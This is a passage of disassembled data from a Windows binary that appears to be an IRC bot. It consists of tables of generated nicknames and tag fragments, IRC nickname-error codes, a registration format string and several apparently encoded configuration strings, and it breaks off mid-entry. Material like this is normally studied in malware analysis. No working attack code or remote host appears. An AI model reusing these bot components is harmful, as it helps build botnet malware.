aC ; "C" dd offset aV ; "V" dd offset aB ; "B" dd offset aN ; "N" dd offset aM_1 ; "M" dd offset aSm4rt3 ; "SM4RT3" dd offset aFar0oq ; "far0oq" dd offset aMax1xguy ; "max1xguy" dd offset aB0bm4rl3y ; "B0BM4RL3Y" dd offset aEmilya ; "emilya" dd offset aEmilyia ; "Emilyia" dd offset aKr1zha ; "KR1ZHA" dd offset aC4r1nna ; "C4r1nna" dd offset aSw1n ; "sw1n" dd offset aM4le ; "m4le" dd offset aKok00 ; "kok00" dd offset aFl3xxxt3r ; "fl3xxxt3r" dd offset aK3nnn ; "k3nnn" dd offset aXc4libr3 ; "xc4libr3" dd offset aXtcXcal ; "xTc-xCaL" dd offset aPwntuuuu ; "pwntuuuu" dd offset aShezzza ; "Shezzza" dd offset aTalika ; "Talika" dd offset aM4rcy ; "m4rcy" dd offset aSeiny ; "seiny" dd offset aSe1nf3ld ; "se1nf3ld" dd offset aCmecme ; "cmecme" dd offset aHev4l ; "hev4l" dd offset aBunty007 ; "bunty007" dd offset aJann0 ; "jann0" dd offset aR1mpy ; "r1mpy" dd offset aH4xdd ; "h4xdd-" dd offset aNastsha ; "nastsha" dd offset aLisau ; "Lisau" dd offset aTr0ll3r ; "tr0ll3r" dd offset aM4n4e ; "m4n4e" dd offset aK3rm1t ; "k3rm1t" dd offset aPur3g0ld ; "pur3g0ld" dd offset aC0redumpdd ; "C0reDumpDd" dd offset aIiimra ; "iiimra" dd offset aGirlzx ; "GirLzx" dd offset aCam3l ; "CAM3L-" dd offset aReshma ; "reshma" dd offset aK3ncing ; "K3ncing" dd offset aR45h3r ; "R45H3R" dd offset aC4nsuu ; "c4nsuu" dd offset aKandent ; "kandent" dd offset aErk4nerkali ; "erk4nerkali" dd offset aHexa4a ; "hexa4a" dd offset aBerkkkko ; "berkkkko" dd offset aBenibi ; "BeNiBi" dd offset aIrm4ll ; "irm4Ll" dd offset aMizsund4y ; "mizsund4y" dd offset aTolga38 ; "Tolga38" dd offset aJer1cho ; "JER1CHO" dd offset aM4ry ; "M4RY-" dd offset aAk1n ; "AK1N" dd offset aMel3kk ; "mel3kk" dd offset aTrr3nd ; "trr3nd" dd offset aMERV ; "M-E-R-V" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSud3nur ; "SUD3NUR" dd offset aR0t0r ; "r0t0r-" dd offset aR0t0 ; "r0t0" dd offset aSmokeySn ; "smokey-sn" dd offset aSmok3yS ; "smok3y-s" dd offset aR0t0r ; "r0t0r-" dd offset aRyann ; "ryann" dd offset aNils ; "Nils-" dd offset aDog ; "dog-" dd offset aD_ ; "d_" dd offset a_d ; "_d" dd offset aBl0ndu ; "Bl0ndu" dd offset aAkw1dz ; "AKW1Dz" dd offset aRot0r ; "rot0r" dd offset aBlondu ; "Blondu-" dd offset aXc4l ; "XC4L" dd offset aXtczzz ; "xTczzz" dd offset aDczz ; "dczz" dd offset aAhm3txtc ; "Ahm3tXTC" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiram1t ; "PIRAM1T" dd offset aSamy3li ; "samy3li" dd offset aRetg ; "RETG-" dd offset aBlackp34rl ; "blackp34rl" dd offset aPelinci ; "pelinci" dd offset aAhm3t ; "ahm3t" dd offset aTurkyballs ; "turkyballs" dd offset aAnk32m ; "ank32m" dd offset aAck0111 ; "ACK0111" dd offset aIzm1rm ; "Izm1rm" dd offset aAlb1na ; "alb1na" dd offset aAyla ; "AYLA-" dd offset aAte3e ; "AtE3e" dd offset aAnkh4h ; "ankh4h" dd offset aDonju4nm ; "Donju4nm" dd offset aBog4c3r ; "bog4c3r" dd offset aAlpay3m ; "alpay3m" dd offset aCongu ; "CoNGU" dd offset aDzlim ; "DzliM" dd offset aDevran ; "DeVran" dd offset aArd4k ; "ard4k" dd offset aKeyifli ; "keyifli" dd offset aMuratm_ ; "muratm_" dd offset aHak4n3 ; "hak4n3" dd offset aIrz4l ; "IRZ4L" dd offset aAmth4n ; "AMTH4N" dd offset aEmr3e ; "Emr3e" dd offset aElm4zyok ; "elm4zyok" dd offset aEsm3rkiz ; "Esm3rkiz" dd offset aKeb1kec ; "keb1kec" dd offset aFl0rd ; "FL0RD" dd offset aH0ly1 ; "h0ly1" dd offset aMahinure ; "MAHINURE" dd offset aEllesme ; "Ellesme" dd offset aAkut1 ; "akut1" dd offset aKashmira ; "Kashmira" dd offset aS3vis ; "S3ViS" dd offset aSugaboi ; "SUGABOi" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAd4lim ; "AD4LIM" dd offset aUmut00 ; "umut00" dd offset aAnk32 ; "ANK32" dd offset aDjmace ; "DJMACE" dd offset aAnkart ; "Ankart" dd offset aF3n3r ; "F3N3R" dd offset aH4yr4n ; "h4yr4n" dd offset aAng3lg4l ; "ang3lg4l" dd offset aK4pk ; "k4pk" dd offset aAchill3s ; "Achill3s" dd offset aT3gm3n ; "T3GM3N" dd offset aKot4n ; "kot4n" dd offset aSevdan ; "sevdan" dd offset aErkaaaa ; "ERKAAAA" dd offset aAlcatrazak ; "alcatraZAK" dd offset aA44mmm ; "a44mmm" dd offset aB1rs3n ; "b1rs3n" dd offset aYab4nc ; "yab4nc" dd offset aD3vre ; "d3vre" dd offset aErk3nnn ; "erk3nnn" dd offset aAnkm4a ; "ankM4a" dd offset aAd3m28 ; "Ad3m28" dd offset aMaxs1lla ; "maxs1lla" dd offset aM41st ; "M41ST" dd offset aAd33 ; "Ad33" dd offset aFirt ; "firt" dd offset aAta29111 ; "Ata29111" dd offset aK00oray ; "K00ORAY" dd offset aAkd3nnan ; "akd3nnan" dd offset aLizmirlm ; "Lizmirlm" dd offset aUlaru ; "ularu" dd offset aNe__ ; "NE__" dd offset aPassenger ; "passenger" dd offset aTr0pikal ; "tr0pikal" dd offset aC00l30m ; "c00l30m" dd offset aC3m39 ; "c3m39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN``" dd offset aDallas ; "DALLAS" dd offset aProm3theus ; "prom3theus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdammo ; "ADAMMO" dd offset aCumhur ; "cumhur" dd offset aBiatch ; "biatch" dd offset aW4nt3d ; "W4NT3D" align 10h off_4335A0 dd offset aSh3x ; DATA XREF: sub_403625+4Er ; sub_403625+F8r ; "sh3x" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuf ; "|luf|" dd offset aWikd ; "|wikd" dd offset aSi ; "si}}" dd offset aQ809 ; "Q809" dd offset aDd8A ; "|dd8|a" dd offset aB_0 ; "b" dd offset word_433EEC dd offset dword_433F0C dd offset dword_433F30 dd offset dword_433F08 dd offset dword_433F04 dd offset dword_433F00 dd offset dword_433F1C dd offset a__4 ; "_" dd offset dword_433EFC dd offset dword_433EF8 dd offset dword_433EF4 dd offset aM_2 ; "m" dd offset aN_0 ; "n" dd offset aO ; "o" dd offset dword_433F18 dd offset dword_433F38 dd offset aRs ; "rs" dd offset dword_433F28 dd offset dword_433F20 dd offset aV_0 ; "v" dd offset dword_433F34 dd offset asc_432D3C ; "x" dd offset dword_433F24 dd offset dword_433EF0 dd offset aHay ; "hay" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aDf ; "df" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTry ; "try" dd offset aTrick ; "trick" dd offset off_4337F8 dd offset dword_433EF0 dd offset dword_433F04 dd offset dword_433F10 dd offset dword_433F38 dd offset off_4337F4 dd offset dword_4337EC dd offset dword_4337E4 dd offset dword_4337DC dd offset off_4337D8 dd offset aF ; "F" dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aAa ; "^AA^" dd offset aB_0 ; "b" dd offset byte_44D6A4 dd offset aSl33pin ; "Sl33piN" dd offset byte_44D6A4 dd offset byte_44D6A4 dd offset aFook ; "|Fook|" dd offset aFree ; "Free" dd offset byte_44D6A4 dd offset byte_44D6A4 dd offset asc_433E88 ; "X" dd offset byte_44D6A4 dd offset off_4337A8 dd offset aGirl ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset off_43378C dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0z ; "mof0z" dd offset aMofoz ; "mofoz" dd offset aTotz ; "totz" dd offset aLol0lzz ; "lol0lzz" dd offset aLololz ; "lololz" dd offset dword_433750 dd offset dword_433748 dd offset dword_433740 dd offset dword_433738 dd offset dword_433734 dd offset dword_433730 dd offset dword_43372C dword_43372C dd 7536h dword_433730 dd 7538h dword_433734 dd 347Ch dword_433738 dd 756F7934h, 7Dhdword_433740 dd 7C737534h, 0 dword_433748 dd 65657266h, 7Chdword_433750 dd 7C617Ch aLololz db 'lololz',0 ; DATA XREF: .text:0043370Co align 4 aLol0lzz db 'lol0lzz',0 ; DATA XREF: .text:00433708o aTotz db 'totz',0 ; DATA XREF: .text:00433704o align 4 aMofoz db 'mofoz',0 ; DATA XREF: .text:00433700o align 4 aMof0z db 'mof0z',0 ; DATA XREF: .text:004336FCo align 4 aMuha db 'muha',0 ; DATA XREF: .text:004336F8o align 4 aYeah db 'yeah',0 ; DATA XREF: .text:004336F4o align 4 off_43378C dd offset byte_616861 ; DATA XREF: .text:004336F0o aShit db 'shit',0 ; DATA XREF: .text:004336ECo align 4 aGurl db 'gurl',0 ; DATA XREF: .text:004336E8o align 10h aGirl db 'GIRL',0 ; DATA XREF: .text:004336E4o align 4 off_4337A8 dd offset word_594F42 ; DATA XREF: .text:004336E0o aFree db 'Free',0 ; DATA XREF: .text:004336CCo align 4 aFook db '|Fook|',0 ; DATA XREF: .text:004336C8o align 4 aSl33pin db 'Sl33piN',0 ; DATA XREF: .text:004336BCo aAa db '^AA^',0 ; DATA XREF: .text:004336B0o align 4 aSad db 'Sad',0 ; DATA XREF: .text:004336ACo aLuvu db 'LUVU',0 ; DATA XREF: .text:004336A8o align 4 off_4337D8 dd offset byte_5F7C5F ; DATA XREF: .text:0043369Co dword_4337DC dd 58445B5Bh, 5D5Dhdword_4337E4 dd 69303077h, 2D7333hdword_4337EC dd 6C62627Ch, 0 off_4337F4 dd offset loc_425242 ; DATA XREF: .text:0043368Co off_4337F8 dd offset byte_63636D ; DATA XREF: .text:00433678o aTrick db 'trick',0 ; DATA XREF: .text:00433674o align 4 aTry db 'try',0 ; DATA XREF: .text:00433670o aLuvy db 'luvy',0 ; DATA XREF: .text:0043366Co align 10h aUi db 'ui',0 ; DATA XREF: .text:00433668o align 4 aDf db 'df',0 ; DATA XREF: .text:00433664o align 4 aRt db 'rt',0 ; DATA XREF: .text:00433660o align 4 aGf db 'gf',0 ; DATA XREF: .text:0043365Co align 10h aTy db 'ty',0 ; DATA XREF: .text:00433658o align 4 aRg db 'rg',0 ; DATA XREF: .text:00433654o align 4 aHay db 'hay',0 ; DATA XREF: .text:00433650o aRs db 'rs',0 ; DATA XREF: .text:00433630o align 10h aO: ; DATA XREF: .text:00433624o unicode 0, <o>,0 a__4: ; DATA XREF: .text:0043360Co unicode 0, <_>,0 aDd8A db '|dd8|a',0 ; DATA XREF: .text:004335E8o align 10h aQ809 db 'Q809',0 ; DATA XREF: .text:004335E4o align 4 aSi db 'si}}',0 ; DATA XREF: .text:004335E0o align 10h aWikd db '|wikd',0 ; DATA XREF: .text:004335DCo align 4 aLuf db '|luf|',0 ; DATA XREF: .text:004335D8o align 10h aGens db '{gens|',0 ; DATA XREF: .text:004335D4o align 4 aSex db '{sex}',0 ; DATA XREF: .text:004335D0o align 10h aHub db '{hub}',0 ; DATA XREF: .text:004335CCo align 4 aLuck db '|luck|',0 ; DATA XREF: .text:004335C8o align 10h aSuck db '|suck|',0 ; DATA XREF: .text:004335C4o align 4 aTot db '-|tot|',0 ; DATA XREF: .text:004335C0o align 10h aWoh db '|woh|',0 ; DATA XREF: .text:004335BCo align 4 aTambe db '|tambe|',0 ; DATA XREF: .text:004335B8o aLag db 'lag',0 ; DATA XREF: .text:004335B4o aBad db 'bad',0 ; DATA XREF: .text:004335B0o aTree db 'tree',0 ; DATA XREF: .text:004335ACo align 10h aZex db 'zex',0 ; DATA XREF: .text:004335A8o aLez db 'lez',0 ; DATA XREF: .text:004335A4o aSh3x db 'sh3x',0 ; DATA XREF: .text:off_4335A0o align 10h aW4nt3d db 'W4NT3D',0 ; DATA XREF: .text:00433598o align 4 aBiatch db 'biatch',0 ; DATA XREF: .text:00433594o align 10h aCumhur db 'cumhur',0 ; DATA XREF: .text:00433590o align 4 aAdammo db 'ADAMMO',0 ; DATA XREF: .text:0043358Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .text:00433588o align 4 aProm3theus db 'prom3theus',0 ; DATA XREF: .text:00433584o align 4 aDallas db 'DALLAS',0 ; DATA XREF: .text:00433580o align 10h aTeoman db 'TEOMAN``',0 ; DATA XREF: .text:0043357Co align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: .text:00433578o align 4 aC3m39 db 'c3m39',0 ; DATA XREF: .text:00433574o align 4 aC00l30m db 'c00l30m',0 ; DATA XREF: .text:00433570o aTr0pikal db 'tr0pikal',0 ; DATA XREF: .text:0043356Co align 10h aPassenger db 'passenger',0 ; DATA XREF: .text:00433568o align 4 aNe__ db 'NE__',0 ; DATA XREF: .text:00433564o align 4 aUlaru db 'ularu',0 ; DATA XREF: .text:00433560o align 4 aLizmirlm db 'Lizmirlm',0 ; DATA XREF: .text:0043355Co align 4 aAkd3nnan db 'akd3nnan',0 ; DATA XREF: .text:00433558o align 4 aK00oray db 'K00ORAY',0 ; DATA XREF: .text:00433554o aAta29111 db 'Ata29111',0 ; DATA XREF: .text:00433550o align 4 aFirt db 'firt',0 ; DATA XREF: .text:0043354Co align 10h aAd33 db 'Ad33',0 ; DATA XREF: .text:00433548o align 4 aM41st db 'M41ST',0 ; DATA XREF: .text:00433544o align 10h aMaxs1lla db 'maxs1lla',0 ; DATA XREF: .text:00433540o align 4 aAd3m28 db 'Ad3m28',0 ; DATA XREF: .text:0043353Co align 4 aAnkm4a db 'ankM4a',0 ; DATA XREF: .text:00433538o align 4 aErk3nnn db 'erk3nnn',0 ; DATA XREF: .text:00433534o aD3vre db 'd3vre',0 ; DATA XREF: .text:00433530o align 4 aYab4nc db 'yab4nc',0 ; DATA XREF: .text:0043352Co align 4 aB1rs3n db 'b1rs3n',0 ; DATA XREF: .text:00433528o align 4 aA44mmm db 'a44mmm',0 ; DATA XREF: .text:00433524o align 4 aAlcatrazak db 'alcatraZAK',0 ; DATA XREF: .text:00433520o align 10h aErkaaaa db 'ERKAAAA',0 ; DATA XREF: .text:0043351Co aSevdan db 'sevdan',0 ; DATA XREF: .text:00433518o align 10h aKot4n db 'kot4n',0 ; DATA XREF: .text:00433514o align 4 aT3gm3n db 'T3GM3N',0 ; DATA XREF: .text:00433510o align 10h aAchill3s db 'Achill3s',0 ; DATA XREF: .text:0043350Co align 4 aK4pk db 'k4pk',0 ; DATA XREF: .text:00433508o align 4 aAng3lg4l db 'ang3lg4l',0 ; DATA XREF: .text:00433504o align 10h aH4yr4n db 'h4yr4n',0 ; DATA XREF: .text:00433500o align 4 aF3n3r db 'F3N3R',0 ; DATA XREF: .text:004334FCo align 10h aAnkart db 'Ankart',0 ; DATA XREF: .text:004334F8o align 4 aDjmace db 'DJMACE',0 ; DATA XREF: .text:004334F4o align 10h aAnk32 db 'ANK32',0 ; DATA XREF: .text:004334F0o align 4 aUmut00 db 'umut00',0 ; DATA XREF: .text:004334ECo align 10h aAd4lim db 'AD4LIM',0 ; DATA XREF: .text:004334E8o align 4 aKumul db 'kumul',0 ; DATA XREF: .text:004334E4o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: .text:004334E0o aSugaboi db 'SUGABOi',0 ; DATA XREF: .text:004334DCo aS3vis db 'S3ViS',0 ; DATA XREF: .text:004334D8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .text:004334D4o align 4 aAkut1 db 'akut1',0 ; DATA XREF: .text:004334D0o align 4 aEllesme db 'Ellesme',0 ; DATA XREF: .text:004334CCo aMahinure db 'MAHINURE',0 ; DATA XREF: .text:004334C8o align 10h aH0ly1 db 'h0ly1',0 ; DATA XREF: .text:004334C4o align 4 aFl0rd db 'FL0RD',0 ; DATA XREF: .text:004334C0o align 10h aKeb1kec db 'keb1kec',0 ; DATA XREF: .text:004334BCo aEsm3rkiz db 'Esm3rkiz',0 ; DATA XREF: .text:004334B8o align 4 aElm4zyok db 'elm4zyok',0 ; DATA XREF: .text:004334B4o align 10h aEmr3e db 'Emr3e',0 ; DATA XREF: .text:004334B0o align 4 aAmth4n db 'AMTH4N',0 ; DATA XREF: .text:004334ACo align 10h aIrz4l db 'IRZ4L',0 ; DATA XREF: .text:004334A8o align 4 aHak4n3 db 'hak4n3',0 ; DATA XREF: .text:004334A4o align 10h aMuratm_ db 'muratm_',0 ; DATA XREF: .text:004334A0o aKeyifli db 'keyifli',0 ; DATA XREF: .text:0043349Co aArd4k db 'ard4k',0 ; DATA XREF: .text:00433498o align 4 aDevran db 'DeVran',0 ; DATA XREF: .text:00433494o align 10h aDzlim db 'DzliM',0 ; DATA XREF: .text:00433490o align 4 aCongu db 'CoNGU',0 ; DATA XREF: .text:0043348Co align 10h aAlpay3m db 'alpay3m',0 ; DATA XREF: .text:00433488o aBog4c3r db 'bog4c3r',0 ; DATA XREF: .text:00433484o aDonju4nm db 'Donju4nm',0 ; DATA XREF: .text:00433480o align 4 aAnkh4h db 'ankh4h',0 ; DATA XREF: .text:0043347Co align 4 aAte3e db 'AtE3e',0 ; DATA XREF: .text:00433478o align 4 aAyla db 'AYLA-',0 ; DATA XREF: .text:00433474o align 4 aAlb1na db 'alb1na',0 ; DATA XREF: .text:00433470o align 4 aIzm1rm db 'Izm1rm',0 ; DATA XREF: .text:0043346Co align 4 aAck0111 db 'ACK0111',0 ; DATA XREF: .text:00433468o aAnk32m db 'ank32m',0 ; DATA XREF: .text:00433464o align 4 aTurkyballs db 'turkyballs',0 ; DATA XREF: .text:00433460o align 10h aAhm3t db 'ahm3t',0 ; DATA XREF: .text:0043345Co align 4 aPelinci db 'pelinci',0 ; DATA XREF: .text:00433458o aBlackp34rl db 'blackp34rl',0 ; DATA XREF: .text:00433454o align 4 aRetg db 'RETG-',0 ; DATA XREF: .text:00433450o align 4 aSamy3li db 'samy3li',0 ; DATA XREF: .text:0043344Co aPiram1t db 'PIRAM1T',0 ; DATA XREF: .text:00433448o aAslii db 'aslii',0 ; DATA XREF: .text:00433444o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .text:00433440o aHaticem db 'haticem',0 ; DATA XREF: .text:0043343Co aArzu db 'ARZU',0 ; DATA XREF: .text:00433438o align 4 aAhm3txtc db 'Ahm3tXTC',0 ; DATA XREF: .text:00433434o align 10h aDczz db 'dczz',0 ; DATA XREF: .text:00433430o align 4 aXtczzz db 'xTczzz',0 ; DATA XREF: .text:0043342Co align 10h aXc4l db 'XC4L',0 ; DATA XREF: .text:00433428o align 4 aBlondu db 'Blondu-',0 ; DATA XREF: .text:00433424o aRot0r db 'rot0r',0 ; DATA XREF: .text:00433420o align 4 aAkw1dz db 'AKW1Dz',0 ; DATA XREF: .text:0043341Co align 10h aBl0ndu db 'Bl0ndu',0 ; DATA XREF: .text:00433418o align 4 a_d db '_d',0 ; DATA XREF: .text:00433414o align 4 aD_ db 'd_',0 ; DATA XREF: .text:00433410o align 10h aDog db 'dog-',0 ; DATA XREF: .text:0043340Co align 4 aNils db 'Nils-',0 ; DATA XREF: .text:00433408o align 10h aRyann db 'ryann',0 ; DATA XREF: .text:00433404o align 4 aSmok3yS db 'smok3y-s',0 ; DATA XREF: .text:004333FCo align 4 aSmokeySn db 'smokey-sn',0 ; DATA XREF: .text:004333F8o align 10h aR0t0 db 'r0t0',0 ; DATA XREF: .text:004333F4o align 4 aR0t0r db 'r0t0r-',0 ; DATA XREF: .text:004333F0o ; .text:00433400o align 10h aSud3nur db 'SUD3NUR',0 ; DATA XREF: .text:004333ECo aSevmekmi db 'sevmekmi',0 ; DATA XREF: .text:004333E8o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .text:004333E4o align 10h aTekir db 'tekir',0 ; DATA XREF: .text:004333E0o align 4 aMERV db 'M-E-R-V',0 ; DATA XREF: .text:004333DCo aTrr3nd db 'trr3nd',0 ; DATA XREF: .text:004333D8o align 4 aMel3kk db 'mel3kk',0 ; DATA XREF: .text:004333D4o align 10h aAk1n db 'AK1N',0 ; DATA XREF: .text:004333D0o align 4 aM4ry db 'M4RY-',0 ; DATA XREF: .text:004333CCo align 10h aJer1cho db 'JER1CHO',0 ; DATA XREF: .text:004333C8o aTolga38 db 'Tolga38',0 ; DATA XREF: .text:004333C4o aMizsund4y db 'mizsund4y',0 ; DATA XREF: .text:004333C0o align 4 aIrm4ll db 'irm4Ll',0 ; DATA XREF: .text:004333BCo align 4 aBenibi db 'BeNiBi',0 ; DATA XREF: .text:004333B8o align 4 aBerkkkko db 'berkkkko',0 ; DATA XREF: .text:004333B4o align 4 aHexa4a db 'hexa4a',0 ; DATA XREF: .text:004333B0o align 10h aErk4nerkali db 'erk4nerkali',0 ; DATA XREF: .text:004333ACo aKandent db 'kandent',0 ; DATA XREF: .text:004333A8o aC4nsuu db 'c4nsuu',0 ; DATA XREF: .text:004333A4o align 4 aR45h3r db 'R45H3R',0 ; DATA XREF: .text:004333A0o align 4 aK3ncing db 'K3ncing',0 ; DATA XREF: .text:0043339Co aReshma db 'reshma',0 ; DATA XREF: .text:00433398o align 4 aCam3l db 'CAM3L-',0 ; DATA XREF: .text:00433394o align 4 aGirlzx db 'GirLzx',0 ; DATA XREF: .text:00433390o align 4 aIiimra db 'iiimra',0 ; DATA XREF: .text:0043338Co align 4 aC0redumpdd db 'C0reDumpDd',0 ; DATA XREF: .text:00433388o align 4 aPur3g0ld db 'pur3g0ld',0 ; DATA XREF: .text:00433384o align 4 aK3rm1t db 'k3rm1t',0 ; DATA XREF: .text:00433380o align 4 aM4n4e db 'm4n4e',0 ; DATA XREF: .text:0043337Co align 4 aTr0ll3r db 'tr0ll3r',0 ; DATA XREF: .text:00433378o aLisau db 'Lisau',0 ; DATA XREF: .text:00433374o align 4 aNastsha db 'nastsha',0 ; DATA XREF: .text:00433370o aH4xdd db 'h4xdd-',0 ; DATA XREF: .text:0043336Co align 4 aR1mpy db 'r1mpy',0 ; DATA XREF: .text:00433368o align 4 aJann0 db 'jann0',0 ; DATA XREF: .text:00433364o align 4 aBunty007 db 'bunty007',0 ; DATA XREF: .text:00433360o align 10h aHev4l db 'hev4l',0 ; DATA XREF: .text:0043335Co align 4 aCmecme db 'cmecme',0 ; DATA XREF: .text:00433358o align 10h aSe1nf3ld db 'se1nf3ld',0 ; DATA XREF: .text:00433354o align 4 aSeiny db 'seiny',0 ; DATA XREF: .text:00433350o align 4 aM4rcy db 'm4rcy',0 ; DATA XREF: .text:0043334Co align 4 aTalika db 'Talika',0 ; DATA XREF: .text:00433348o align 4 aShezzza db 'Shezzza',0 ; DATA XREF: .text:00433344o aPwntuuuu db 'pwntuuuu',0 ; DATA XREF: .text:00433340o align 4 aXtcXcal db 'xTc-xCaL',0 ; DATA XREF: .text:0043333Co align 4 aXc4libr3 db 'xc4libr3',0 ; DATA XREF: .text:00433338o align 10h aK3nnn db 'k3nnn',0 ; DATA XREF: .text:00433334o align 4 aFl3xxxt3r db 'fl3xxxt3r',0 ; DATA XREF: .text:00433330o align 4 aKok00 db 'kok00',0 ; DATA XREF: .text:0043332Co align 4 aM4le db 'm4le',0 ; DATA XREF: .text:00433328o align 4 aSw1n db 'sw1n',0 ; DATA XREF: .text:00433324o align 4 aC4r1nna db 'C4r1nna',0 ; DATA XREF: .text:00433320o aKr1zha db 'KR1ZHA',0 ; DATA XREF: .text:0043331Co align 4 aEmilyia db 'Emilyia',0 ; DATA XREF: .text:00433318o aEmilya db 'emilya',0 ; DATA XREF: .text:00433314o align 4 aB0bm4rl3y db 'B0BM4RL3Y',0 ; DATA XREF: .text:00433310o align 4 aMax1xguy db 'max1xguy',0 ; DATA XREF: .text:0043330Co align 4 aFar0oq db 'far0oq',0 ; DATA XREF: .text:00433308o align 4 aSm4rt3 db 'SM4RT3',0 ; DATA XREF: .text:00433304o align 4 aM_1: ; DATA XREF: .text:00433300o ; .text:004336A4o unicode 0, <M>,0 aN: ; DATA XREF: .text:004332FCo unicode 0, <N>,0 aB: ; DATA XREF: .text:004332F8o unicode 0, <B>,0 aV: ; DATA XREF: .text:004332F4o unicode 0, <V>,0 aC: ; DATA XREF: sub_41FE93+104o ; .text:004332F0o unicode 0, <C>,0 asc_433E88: ; DATA XREF: .text:004332ECo ; .text:004336D8o ... unicode 0, <X>,0 aZ_3: ; DATA XREF: .text:004332E8o unicode 0, <Z>,0 asc_433E90: ; DATA XREF: sub_41FE93+E9o ; .text:004332E4o unicode 0, <L>,0 aK_0: ; DATA XREF: .text:004332E0o unicode 0, <K>,0 aJ: ; DATA XREF: .text:004332DCo unicode 0, <J>,0 asc_433E9C: ; DATA XREF: .text:004332D8o unicode 0, <H>,0 aG: ; DATA XREF: sub_41FE93+139o ; .text:004332D4o unicode 0, <G>,0 aF: ; DATA XREF: .text:004332D0o ; .text:004336A0o unicode 0, <F>,0 aD: ; DATA XREF: .text:004332CCo unicode 0, <D>,0 aS_5: ; DATA XREF: .text:004332C8o unicode 0, <S>,0 aA_1: ; DATA XREF: .text:004332C4o unicode 0, <A>,0 aP_3: ; DATA XREF: sub_41101E+4Co ; .text:004332C0o unicode 0, <P>,0 aO_0: ; DATA XREF: .text:004332BCo unicode 0, <O>,0 aI_0: ; DATA XREF: .text:004332B8o unicode 0, <I>,0 aU_0: ; DATA XREF: .text:004332B4o unicode 0, <U>,0 aY: ; DATA XREF: .text:004332B0o unicode 0, <Y>,0 aT: ; DATA XREF: .text:004332ACo unicode 0, <T>,0 aR: ; DATA XREF: .text:004332A8o unicode 0, <R>,0 aE_0: ; DATA XREF: .text:004332A4o unicode 0, <E>,0 aW: ; DATA XREF: .text:004332A0o unicode 0, <W>,0 aQ_0: ; DATA XREF: .text:0043329Co unicode 0, <Q>,0 aM_2: ; DATA XREF: .text:00433298o ; .text:0043361Co unicode 0, <m>,0 aN_0: ; DATA XREF: .text:00433294o ; .text:00433620o unicode 0, <n>,0 aB_0: ; DATA XREF: .text:00433290o ; .text:004335ECo ... unicode 0, <b>,0 aV_0: ; DATA XREF: .text:0043328Co ; .text:0043363Co unicode 0, <v>,0 word_433EEC dw 63h ; DATA XREF: .text:004208F8r ; sub_420BEE+3Ar ... align 10h dword_433EF0 dd 7Ah ; .text:0043364Co ... dword_433EF4 dd 6Ch ; .text:00433618o dword_433EF8 dd 6Bh ; .text:00433614o dword_433EFC dd 6Ah ; .text:00433610o dword_433F00 dd 68h ; .text:00433604o dword_433F04 dd 67h ; .text:00433600o ... dword_433F08 dd 66h ; .text:004335FCo dword_433F0C dd 64h ; .text:004335F4o dword_433F10 dd 73h ; .text:00433684o dword_433F14 dd 61h ; .text:0043325Co ... dword_433F18 dd 70h ; .text:00433628o dword_433F1C dd 69h ; .text:00433608o dword_433F20 dd 75h ; .text:00433638o dword_433F24 dd 79h ; .text:00433648o dword_433F28 dd 74h ; .text:00433634o word_433F2C dw 72h ; DATA XREF: sub_416C0B+BCo ; sub_41750C+Eo ... align 10h dword_433F30 dd 65h ; .text:004335F8o ... dword_433F34 dd 77h ; .text:00433640o dword_433F38 dd 71h, 0 ; .text:0043362Co ... a0123456789abcd db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZabcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_40323F+1Do asc_433F80: ; DATA XREF: sub_4032AA+6o ; sub_403B2C+3D29o ... dw 0Ah unicode 0, <>,0 a432 db '432',0 ; DATA XREF: sub_4032F1+8Bo a433 db '433',0 ; DATA XREF: sub_4032F1:loc_40336Bo ; sub_41A1C8+BAo aSS_4 db '%s %s',0Ah,0 ; DATA XREF: sub_4032F1+6Ao ; sub_4032F1+CBo align 4 asc_433F94: ; DATA XREF: sub_4032F1+Bo ; .text:0040E085o ... unicode 0, < >,0 aSSSSMail_gmail db '%s %s',0Ah ; DATA XREF: sub_4033F0+B1o db '%s %s "mail.gmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a_ db '-|`_\{[]}',0 ; DATA XREF: sub_403625+C8o ; sub_403625+180r ... align 4 aDJstMfgyq_ db 'd/Jst/MFgyQ.',0 ; DATA XREF: sub_403B2C+C04o ; sub_41D98A+6o align 4 aErwc30qfw_p0 db 'eRWc30Qfw.P0',0 ; DATA XREF: sub_403B2C+D40o ; sub_403B2C+3A8Fo ... align 4 a86tb1fspjg0 db '86tb/1FSpjg0',0 ; DATA XREF: sub_403B2C+9B2o ; sub_41D98A+1Co align 4 aPlsymAee6v1 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_403B2C+44Co ; sub_41D98A+27o align 4 aC7rq4Xpvel_ db 'c7RQ4/xPvel.',0 ; DATA XREF: sub_403B2C+22o ; sub_403B2C:loc_403D83o ... align 4 aOb4iqKj5ue_ db 'Ob4iQ/KJ5ue.',0 ; DATA 